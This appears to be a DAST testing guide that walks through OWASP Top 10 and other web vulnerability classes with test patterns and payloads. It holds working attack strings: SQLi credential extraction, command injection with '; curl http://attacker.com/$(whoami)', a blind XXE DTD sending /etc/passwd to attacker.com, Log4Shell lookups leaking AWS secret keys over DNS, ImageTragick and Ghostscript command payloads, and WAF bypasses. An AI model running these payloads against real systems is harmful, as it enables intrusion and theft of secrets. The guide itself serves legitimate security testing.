/dast-automation

Comprehensive Vulnerability Testing Guide

Overview

This guide provides detailed testing procedures for all major vulnerability categories in DAST. Each section includes testing methodology, payloads, and verification techniques.

OWASP Top 10:2021 Testing

A01:2021 - Broken Access Control

Testing Focus:

• IDOR (Insecure Direct Object References)
• Path traversal
• Missing function-level access control
• CORS misconfiguration
• Privilege escalation

IDOR Testing

## Horizontal Privilege Escalation

Test Pattern:
1. Create two test accounts (User A, User B)
2. Login as User A
3. Access User A's resources and note IDs
4. Login as User B
5. Attempt to access User A's resources with User B's session

Test URLs:
- /api/user/{id}/profile
- /api/document/{doc_id}
- /api/order/{order_id}
- /messages/{msg_id}

Payloads:
- Sequential IDs: 1, 2, 3, ..., 1000
- GUIDs: Try captured UUIDs from other users
- Hashed IDs: If MD5/SHA, try common patterns

Verification:
- Response contains other user's data
- Status code 200 (not 403/404)
- No authorization error

## Vertical Privilege Escalation

Test Pattern:
1. Login as regular user
2. Access admin endpoints
3. Modify user to admin role

Test URLs:
- /admin/users
- /api/admin/settings
- /internal/debug
- /api/promote-to-admin

Payloads:
{
  "user_id": "current_user",
  "role": "admin",
  "is_admin": true,
  "privileges": ["admin", "superuser"]
}

Verification:
- Admin panel accessible
- Admin functions executable
- User role changed successfully

A02:2021 - Cryptographic Failures

Testing Focus:

• Weak encryption
• Insecure storage
• Cleartext transmission
• Weak hashing algorithms

## SSL/TLS Testing

Check for:
- Weak ciphers (DES, RC4, MD5)
- SSLv2/SSLv3/TLSv1.0 enabled
- Certificate validation issues
- Missing HSTS header

Tools:
- sslyze: sslyze --regular target.com:443
- testssl.sh: ./testssl.sh https://target.com

## Cleartext Transmission

Test:
- Login form over HTTP (not HTTPS)
- Cookies without Secure flag
- API keys in URLs
- Passwords in GET parameters

Verification:
- Capture traffic with browser DevTools
- Check for sensitive data in clear
- Verify all sensitive operations over HTTPS

A03:2021 - Injection

SQL Injection

## Error-Based SQLi

Payloads:
- '
- ''
- `
- ')
- ' OR '1'='1'--
- ' OR '1'='1'/*
- ' OR '1'='1'#

Detection:
- SQL error messages:
  - "SQL syntax error"
  - "mysql_fetch_array()"
  - "You have an error in your SQL syntax"
  - "ORA-01756"
  - "SQLServer JDBC Driver"

## Union-Based SQLi

Payloads:
- ' UNION SELECT NULL--
- ' UNION SELECT NULL,NULL--
- ' UNION SELECT NULL,NULL,NULL--
(Continue adding NULL columns until no error)

Data Extraction:
- ' UNION SELECT username,password FROM users--
- ' UNION SELECT @@version,NULL--
- ' UNION SELECT table_name,NULL FROM information_schema.tables--

## Boolean-Based Blind SQLi

Payloads:
- ' AND '1'='1'--  (Should return normal)
- ' AND '1'='2'--  (Should return different)

Detection:
- Different responses for true/false conditions
- Content length changes
- Timing differences

## Time-Based Blind SQLi

MySQL:
- ' AND SLEEP(5)--
- ' OR SLEEP(5)--

PostgreSQL:
- '; SELECT pg_sleep(5)--

MS SQL:
- '; WAITFOR DELAY '00:00:05'--

Detection:
- Response delayed by specified time
- Consistent 5+ second delays

NoSQL Injection

## MongoDB NoSQL Injection

Authentication Bypass:
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": "admin", "password": {"$gt": ""}}

Data Extraction:
{"username": {"$regex": "^a"}}  # Test each character
{"price": {"$gt": 0, "$lt": 999999}}

## Operator Injection

Payloads:
{"username": {"$ne": "invalid"}}
{"age": {"$gt": 0}}
{"role": {"$nin": ["user"]}}

Testing:
- Try in JSON API requests
- Try in query parameters: ?username[$ne]=invalid

Command Injection

## OS Command Injection

Payloads:
- ; whoami
- | whoami
- || whoami
- & whoami
- && whoami
- `whoami`
- $(whoami)
- %0a whoami  (URL encoded newline)

Detection:
- Output of command in response
- Time delays: ; sleep 5
- Out-of-band: ; curl http://attacker.com/$(whoami)

Test Locations:
- Filename parameters
- System commands (ping, nslookup)
- Email fields (sendmail)
- Backup/restore functions

LDAP Injection

Payloads:
- *
- )(cn=*))(|(cn=*
- admin)(&)
- *()|&'

Example:
username=admin)(&(password=*))

Bypass authentication LDAP query

A04:2021 - Insecure Design

Business Logic Testing:

## Payment Bypass

Tests:
1. Negative quantities: -10 items (credit to account?)
2. Zero price: Modify hidden price field to 0
3. Skip payment step: Go directly from cart to confirmation
4. Race condition: Submit payment request twice simultaneously
5. Voucher abuse: Apply same voucher multiple times

## Workflow Bypass

Tests:
1. Skip verification: Register → Email verify → Direct to logged-in
   Try: Register → Direct to logged-in (skip verify)

2. Multi-step forms: Step1 → Step2 → Step3 → Submit
   Try: Step1 → Step3 → Submit (skip Step2)

3. State manipulation:
   - Access pages in wrong order
   - Replay old state tokens
   - Manipulate workflow IDs

## Rate Limiting Bypass

Tests:
1. No rate limiting: Send 1000 requests/second
2. IP-based bypass: X-Forwarded-For: 1.2.3.4
3. Session-based bypass: Create new session per request
4. Distributed: Use multiple IPs

A05:2021 - Security Misconfiguration

## Default Credentials

Test:
admin:admin
admin:password
root:root
administrator:password

Common Paths:
/admin
/administrator
/manager
/phpmyadmin
/wp-admin

## Directory Listing

Test Paths:
/uploads/
/files/
/backup/
/config/

Detection:
- Index of / directory listing
- Parent Directory link
- File list visible

## Exposed Files

Common Files:
/.git/config
/.env
/backup.sql
/config.php.bak
/.DS_Store
/web.config
/phpinfo.php

## Verbose Errors

Trigger:
- Access non-existent pages
- Submit invalid data
- Malformed requests

Detection:
- Stack traces
- Full file paths
- Database errors
- Framework version info

## Missing Security Headers

Check for:
- Content-Security-Policy
- X-Frame-Options
- X-Content-Type-Options
- Strict-Transport-Security
- X-XSS-Protection

## HTTP Security Headers

Good Configuration:
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Content-Security-Policy: default-src 'self'
X-XSS-Protection: 1; mode=block
Referrer-Policy: no-referrer

A06:2021 - Vulnerable and Outdated Components

## Version Detection

Check:
- Server headers: Server: Apache/2.2.14
- X-Powered-By: PHP/5.3.0
- Generator meta tags
- JavaScript library versions
- Error messages with versions

Tools:
- Wappalyzer (browser extension)
- retire.js (JavaScript libraries)
- Nuclei with CVE templates

## Known CVE Testing

Steps:
1. Identify technology versions
2. Search for CVEs: cve.mitre.org
3. Find public exploits: exploit-db.com
4. Test with PoC exploit
5. Verify vulnerability

Example:
Detected: WordPress 4.7.0
CVE: CVE-2017-5487 (REST API Content Injection)
PoC: https://wpvulndb.com/vulnerabilities/8734

A07:2021 - Identification and Authentication Failures

## Weak Password Policy

Tests:
- Password: 123456
- Password: password
- Password: admin
- Password: test
- No minimum length requirement
- No complexity requirements

## No Account Lockout

Test:
1. Attempt login with wrong password
2. Repeat 100 times
3. Verify account not locked
4. Try correct password
5. Should succeed = vulnerability

## Session Fixation

Test:
1. Get session ID before login (anonymous session)
2. Login with valid credentials
3. Check if session ID changes
4. If same = Session Fixation vulnerability

## Credential Stuffing

Test:
- Use known breached credentials
- Check for rate limiting
- Check for CAPTCHA
- Test automated login attempts

## Weak Session Tokens

Analyze:
- Token length (should be 128+ bits)
- Randomness (no patterns)
- Predictability (sequential = bad)

Example Bad Tokens:
- User123_2024_001 (predictable)
- base64(username) (not random)
- timestamp + userid (guessable)

A08:2021 - Software and Data Integrity Failures

## Deserialization

Test Payloads:
Java: Use ysoserial - CommonsCollections, Spring, Groovy
PHP: O:8:"stdClass":1:{s:4:"test";s:4:"data";}
Python: Pickle exploit
.NET: Use ysoserial.net

Detection:
- Application crashes
- Unexpected behavior
- Code execution confirmed

## Untrusted Sources

Test:
- Upload malicious plugins
- Supply malicious dependencies
- Modify update URLs
- Man-in-the-middle update process

## Auto-Update Vulnerabilities

Check:
- Updates over HTTP (not HTTPS)
- No signature verification
- Unauthenticated update endpoints

A09:2021 - Security Logging and Monitoring Failures

## Testing Methodology

Check for Logging:
1. Perform sensitive action (login, delete, admin access)
2. Verify if action logged
3. Check log detail level
4. Verify log integrity (tampering prevention)

Tests:
- Login failures logged?
- Admin actions logged?
- Data access logged?
- Privilege escalation attempts logged?

## Log Injection

Payloads:
- Username: admin\nADMIN_ACCESS_GRANTED
- Input: test\r\n[ERROR] Fake error message

Verification:
- Check if newlines parsed
- Inject fake log entries
- Log forgery successful?

A10:2021 - Server-Side Request Forgery (SSRF)

## SSRF Testing

Test Parameters:
- url=
- uri=
- path=
- dest=
- redirect=
- next=

Payloads:
- http://127.0.0.1/admin
- http://localhost/admin
- http://169.254.169.254/latest/meta-data/  # AWS metadata
- http://[::1]/admin  # IPv6 localhost
- file:///etc/passwd
- dict://localhost:6379/  # Redis
- gopher://localhost:6379/_  # Arbitrary protocol

Bypass Techniques:
- 127.1 (short form)
- 0x7f.0x0.0x0.0x1 (hex)
- 2130706433 (decimal)
- 0177.0.0.1 (octal)
- [::] (IPv6)
- localhost.evil.com (DNS rebinding)

Detection:
- Response contains internal service data
- Time delays indicating internal network access
- DNS lookups to attacker domain
- Out-of-band data exfiltration

## Blind SSRF

Test:
- Trigger request to attacker server
- Monitor for incoming connections
- DNS exfiltration: http://data.attacker.com

Tools:
- Burp Collaborator
- interactsh
- requestbin

Additional Vulnerability Categories (Enhanced from HackerOne Data)

XXE (XML External Entity) - 14 Reports

## Basic XXE

Payload:
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>

## Blind XXE with OOB Exfiltration

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker.com/xxe.dtd">
  %xxe;
]>

# xxe.dtd on attacker server:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
%exfil;

## XXE in SVG Upload

<?xml version="1.0"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg">
  <text>&xxe;</text>
</svg>

## XXE in XLSX/DOCX (Office Documents)

# 1. Unzip XLSX file
# 2. Modify xl/workbook.xml or [Content_Types].xml
# 3. Add XXE payload
# 4. Rezip and upload

## XXE to RCE (PHP expect)

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "expect://id">
]>
<data>&xxe;</data>

## XXE to SSRF

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<data>&xxe;</data>

Detection:
- File content in response
- Out-of-band connections (DNS/HTTP)
- Application behavior changes
- Error messages revealing file paths

Log4Shell (CVE-2021-44228) - From Deserialization Reports

## Basic JNDI Injection

${jndi:ldap://attacker.com/a}
${jndi:rmi://attacker.com/a}
${jndi:dns://attacker.com/a}

## WAF Bypass Patterns

${${lower:j}ndi:${lower:l}dap://attacker.com/a}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attacker.com/a}
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//attacker.com/a}
${${lower:${lower:jndi}}:${lower:ldap}://attacker.com/a}
${${upper:j}${upper:n}${upper:d}${upper:i}:${upper:l}${upper:d}${upper:a}${upper:p}://attacker.com/a}

## Data Exfiltration via DNS

${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.attacker.com/a}
${jndi:ldap://${sys:user.name}.${hostName}.attacker.com/a}
${jndi:ldap://${java:version}.attacker.com/a}

## Test Injection Points
- User-Agent header
- X-Forwarded-For header
- Referer header
- Any search/input field
- File upload filename
- Cookie values
- API JSON fields

HTTP Request Smuggling - 51 Reports

## CRLF Injection

param=value%0d%0aX-Injected-Header:attack
param=value%0aSet-Cookie:admin=true
param=%0d%0aHTTP/1.1%20200%20OK%0d%0a<script>alert(1)</script>

## CL.TE Smuggling

POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

## TE.CL Smuggling

POST / HTTP/1.1
Host: target.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

## Obfuscated TE Headers (WAF bypass)

Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

## Cloudflare Origin Rules Pattern (real HackerOne)
host_header: target.com\r\nX-Forwarded-Host: attacker.com

Memory Corruption via Image Processing - 177 Reports

## ImageMagick Memory Leak (GIF-based)

# Use gifoeb tool to generate malicious GIF
gifoeb -o malicious.gif -w 100 -h 100

# Upload to image processing endpoint
# Response may contain leaked memory:
- Database records
- Previous requests
- Credentials
- Session tokens

## ImageMagick Command Injection (ImageTragick)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|ls "-la)'
pop graphic-context

## Ghostscript Exploitation

%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id) currentdevice putdeviceprops

Open Redirect

Payloads:
?redirect=https://evil.com
?url=//evil.com
?next=///evil.com
?return_url=javascript:alert(1)
?dest=data:text/html,<script>alert(1)</script>

Bypass Techniques:
- https://example.com@evil.com
- https://example.com.evil.com
- https://evil.com#example.com
- https://evil.com?example.com

Clickjacking

## Frame Injection Test

Create HTML:
<iframe src="https://target.com/delete-account"></iframe>

Verification:
- Page loads in iframe = Vulnerable
- X-Frame-Options header missing
- CSP frame-ancestors missing

Protection Check:
- X-Frame-Options: DENY
- X-Frame-Options: SAMEORIGIN
- Content-Security-Policy: frame-ancestors 'none'

CORS Misconfiguration

## CORS Testing

Test Request:
GET /api/sensitive-data
Origin: https://evil.com

Check Response:
Access-Control-Allow-Origin: https://evil.com  # Vulnerable
Access-Control-Allow-Credentials: true  # Especially with wildcard

Bad Configurations:
- Access-Control-Allow-Origin: * with credentials
- Reflecting Origin header without validation
- Null origin allowed

## CORS Bypass Techniques

# Null origin (file:// protocol)
Origin: null

# Subdomain matching bypass
Origin: https://evil.target.com
Origin: https://target.com.evil.com

# Scheme variation
Origin: http://target.com  # HTTP vs HTTPS

Subdomain Takeover - 169 Reports

## Dangling DNS Detection

# Check for CNAME to abandoned services:
dig subdomain.target.com CNAME

## Vulnerable CNAME Patterns:

subdomain → *.s3.amazonaws.com (bucket deleted)
subdomain → *.herokuapp.com (app deleted)
subdomain → *.github.io (repo deleted)
subdomain → *.azurewebsites.net (app deleted)
subdomain → *.cloudfront.net (distribution deleted)
subdomain → *.shopify.com (store deleted)
subdomain → *.zendesk.com (account deleted)
subdomain → ghs.google.com (GSuite misconfigured)
subdomain → *.ghost.io (blog deleted)
subdomain → *.pantheonsite.io (site deleted)
subdomain → *.fastly.net (distribution deleted)

## Takeover Process:
1. Find dangling CNAME via DNS enumeration
2. Register the resource at the cloud provider
3. Claim the subdomain
4. Serve malicious content / steal cookies

## GSuite/Google Workspace Takeover:
1. subdomain.target.com → ghs.google.com
2. Register Google Workspace
3. Add domain alias (TXT verification may be scoped wrong)
4. If TXT not properly scoped, claim subdomain

## Impact:
- Cookie theft (if parent domain cookies)
- Phishing with legitimate domain
- SEO hijacking
- Email interception (if MX misconfigured)

Business Logic Flaws - 230 Reports

## Price Manipulation (from HackerOne)

# Ticket booking bypass pattern:
# Parameter: addon-268-number-of-seats-0
# Change from 3 to 10 seats
# Result: $0 charge for extra seats

Test payloads:
{"price": 0.01}
{"price": -100}
{"quantity": -1}
{"discount": 100}
{"total": 0}

## Workflow Bypass

# Skip verification:
Register → Email Verify → Dashboard
Attack: Register → Dashboard (skip verify)

# Skip payment:
Cart → Payment → Confirm
Attack: Cart → Confirm (skip payment)

# Direct state access:
/order/confirm?state=paid (force paid status)

## Race Condition Exploitation

# Voucher double-spend:
1. Capture voucher redemption request
2. Send 10 parallel requests simultaneously
3. Check if voucher applied multiple times

# Balance transfer race:
1. User has $100 balance
2. Send 5 parallel $100 transfer requests
3. Check if total transferred > $100

## Integer Overflow

# Quantity overflow:
{"quantity": 2147483647}  # MAX_INT
{"quantity": -2147483648} # MIN_INT

# Amount overflow:
{"amount": 9999999999999999999}

## Currency Confusion

{"amount": 100, "currency": "VND"}  # 1 VND = 0.00004 USD
{"amount": 100, "currency": "IDR"}  # Low-value currency

Denial of Service - 256 Reports

## Infinite Redirect Loop (from HackerOne)

https://target.com/en-us%0a/en-us%0a/en-us%0a/...
# Repeated 100x causes 502 Bad Gateway

## ReDoS (Regular Expression DoS)

# Evil regex pattern: (a+)+$
# Payload: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!

## XML Billion Laughs

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  ...
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

## GraphQL Complexity Attack

query {
  posts(first: 1000) {
    author { posts(first: 1000) {
      author { posts(first: 1000) {
        # Deeply nested = exponential load
      }}
    }}
  }
}

## Long URL/Parameter DoS

GET /search?q=AAAA...x100000
POST /api with 10MB JSON body

Information Disclosure - 605 Reports

## JavaScript Hardcoded Secrets

# Scan JS files for:
grep -E "(api_key|apiKey|api-key|secret|password|token|auth)" *.js

# Common patterns found:
const API_KEY = "sk-live-xxxxxxxxxxxx";
window.config = {apiKey: "xxxxx", secret: "yyyy"};
headers: {"Authorization": "Bearer eyJ..."}

## Git Exposure

/.git/config
/.git/HEAD
/.git/logs/HEAD
/.git/objects/pack/

# Use git-dumper to extract:
git-dumper https://target.com/.git/ output/

## Environment Files

/.env
/.env.local
/.env.production
/.env.backup
/config/.env
/app/.env

## Debug/Error Information

# Trigger errors to expose:
- Stack traces with file paths
- Database errors with query details
- Internal IP addresses
- Framework/library versions
- User IDs in error messages

## Source Code Leakage

# Via backup files:
/config.php.bak
/database.sql
/backup.zip
/web.config.old

# Via ImageMagick (from HackerOne):
# Malformed GIF triggers memory leak
# Leaked memory may contain source code

Testing Checklist

Input Validation Testing

• XSS in all input fields
• SQL injection in all parameters
• Command injection in system calls
• LDAP injection in directory queries
• XML injection in XML parsers
• Template injection in template engines

Authentication Testing

• Weak password policy
• No account lockout
• Session fixation
• Predictable session tokens
• Credential stuffing susceptibility
• Password reset vulnerabilities

Authorization Testing

• IDOR on all ID parameters
• Horizontal privilege escalation
• Vertical privilege escalation
• Missing function-level access control
• Direct object references

Session Management Testing

• Session tokens secure flag
• Session tokens HttpOnly flag
• Session timeout
• Logout functionality
• Concurrent session handling
• Session token randomness

Business Logic Testing

• Workflow bypass
• Price manipulation
• Quantity manipulation
• Race conditions
• Step skipping
• State manipulation

Configuration Testing

• Default credentials
• Directory listing
• Exposed files (.git, .env, etc.)
• Verbose error messages
• Missing security headers
• Information disclosure

File Upload Testing

• Unrestricted file upload
• Extension bypass
• MIME type bypass
• Path traversal
• File execution

Conclusion

Comprehensive vulnerability testing requires:

1. Systematic testing of all input points
2. Authentication and authorization verification
3. Business logic analysis
4. Configuration review
5. Proper evidence collection
6. Validation of findings

Use Playwright MCP for automated, repeatable testing with full JavaScript support.